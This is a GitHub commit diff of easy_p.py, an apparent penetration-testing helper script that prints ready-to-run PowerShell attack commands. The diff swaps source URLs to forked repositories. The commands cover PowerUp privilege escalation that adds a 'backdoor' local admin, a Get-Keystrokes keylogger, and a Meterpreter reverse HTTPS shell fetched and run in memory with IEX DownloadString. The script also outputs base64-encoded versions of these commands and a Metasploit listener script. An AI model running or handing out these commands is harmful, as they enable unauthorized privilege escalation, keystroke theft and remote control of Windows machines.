Skip to content

Commit

Permalink
Update to Branched
Browse files Browse the repository at this point in the history
  • Loading branch information
@cheetz
cheetz committed Feb 10, 2015
1 parent 9a37cca commit b9616d6
Showing 1 changed file with 14 additions and 14 deletions.
28 changes: 14 additions & 14 deletions easy_p.py
View file
Original file line number Diff line number Diff line change
Expand Up @@ -69,48 +69,48 @@ def priv():
ans=raw_input("What would you like to do: ")
if ans == "1":
clear()
print "[*]Description: Search for vulnerable service privilege opportunities"
print "[*]Description: Search for vulnerable service privilege opportunities. Original: https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp"
print "[*]Download from internet and execute:"
print run_execute + "https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
print run_execute + "https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
print "\n[*]Run from a local copy of the script:"
print 'powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"'
print "\n[*]Base64 encoded version download and execute:"
x = powershell_encode(run_execute + "https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks")
x = powershell_encode(run_execute + "https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks")
print "powershell.exe -enc " + x

if ans == "2":
clear()
print "[*]Description: Abuse vulnerable service privilege opportunities"
print "[*]Description: Abuse vulnerable service privilege opportunities. Original: https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp"
ans_service = raw_input("Service Name: ")
print "[*]Download from internet and execute:"
print run_execute + "https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerUp/PowerUp.ps1'); Write-ServiceEXE -ServiceName "+ans_service+" -UserName backdoor -Password password123 -Verbose"
print run_execute + "https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerUp/PowerUp.ps1'); Write-ServiceEXE -ServiceName "+ans_service+" -UserName backdoor -Password password123 -Verbose"
print "\n[*]Run from a local copy of the script:"
print 'powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Write-ServiceEXE -ServiceName '+ans_service+' -UserName backdoor -Password password123 -Verbose}"'
print "\n[*]Base64 encoded version download and execute:"
x = powershell_encode(run_execute + "https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerUp/PowerUp.ps1'); Write-ServiceEXE -ServiceName "+ans_service+" -UserName backdoor -Password password123 -Verbose")
x = powershell_encode(run_execute + "https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerUp/PowerUp.ps1'); Write-ServiceEXE -ServiceName "+ans_service+" -UserName backdoor -Password password123 -Verbose")
print "powershell.exe -enc " + x

if ans == "3":
clear()
print "[*]Description: Write-UserAddMSI - If the AlwaysInstallElevated key is enabled for MSI files, Create an MSI to create local admin"
print "[*]Download from internet and execute:"
print run_execute + "https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerUp/PowerUp.ps1');Write-UserAddMSI"
print run_execute + "https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerUp/PowerUp.ps1');Write-UserAddMSI"
print "\n[*]Run from a local copy of the script:"
print 'powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Write-UserAddMSI}"'
print "\n[*]Base64 encoded version download and execute:"
x = powershell_encode(run_execute + "https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerUp/PowerUp.ps1');Write-UserAddMSI")
x = powershell_encode(run_execute + "https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerUp/PowerUp.ps1');Write-UserAddMSI")
print "powershell.exe -enc " + x

def key():
clear()
print "Keylogging:"
print "[*]Description: Keylogger Saving Strokes to C:\Users\Public\key.log"
print "[*]Description: Keylogger Saving Strokes to C:\Users\Public\key.log Original: https://github.com/mattifestation/PowerSploit"
print "[*]Download from internet and execute:"
print run_execute + "https://raw.github.com/mattifestation/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1');Get-Keystrokes -LogPath C:\Users\Public\key.log"
print run_execute + "https://raw.githubusercontent.com/cheetz/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1');Get-Keystrokes -LogPath C:\Users\Public\key.log"
print "\n[*]Run from a local copy of the script:"
print 'powershell.exe -exec bypass -Command "& {Import-Module .\Get-Keystrokes.ps1; Get-Keystrokes -LogPath C:\Users\Public\key.log}"'
print "\n[*]Base64 encoded version download and execute:"
x = powershell_encode(run_execute + "IEX (New-Object Net.WebClient).DownloadString('https://raw.github.com/mattifestation/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1');Get-Keystrokes -LogPath C:\Users\Public\key.log")
x = powershell_encode(run_execute + "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1');Get-Keystrokes -LogPath C:\Users\Public\key.log")
print "powershell.exe -enc " + x

def lat():
Expand All @@ -133,16 +133,16 @@ def lat():
print 'Powershell.exe Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "powershell.exe -enc [Base64 encoded string]" -ComputerName [victim IP] -Credential [Username]'

def metasploit():
print "[*]PowerShell Metasploit Meterpreter Reverse HTTPS Shell"
print "[*]PowerShell Metasploit Meterpreter Reverse HTTPS Shell. Original: https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1"
ans_lhost = raw_input("LHOST: ")
ans_lport = raw_input("LPORT: ")
clear()
print "[*]Download from internet and execute:"
print "Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost "+ans_lhost+" -Lport "+ans_lport+" -Force"
print "Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost "+ans_lhost+" -Lport "+ans_lport+" -Force"
print "\n[*]Run from a local copy of the script:"
print 'powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Shellcode.ps1; Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost '+ans_lhost+' -Lport '+ans_lport+' -Force}"'
print "\n[*]Base64 encoded version download and execute:"
x = powershell_encode("IEX (New-Object Net.WebClient).DownloadString('https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost "+ans_lhost+" -Lport "+ans_lport+" -Force")
x = powershell_encode("IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost "+ans_lhost+" -Lport "+ans_lport+" -Force")
print "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc " + x
print "\n[*]Listner Resource Script (listener.rc) - Save the following to a file called listener.rc on your Kali box and load your handler with msfconsole -r listener.rc"
print "use multi/handler \nset payload windows/meterpreter/reverse_https \nset LHOST " + ans_lhost + "\nset LPORT " + ans_lport + "\nset ExitOnSession false \nexploit -j"
Expand Down

0 comments on commit b9616d6

Please sign in to comment.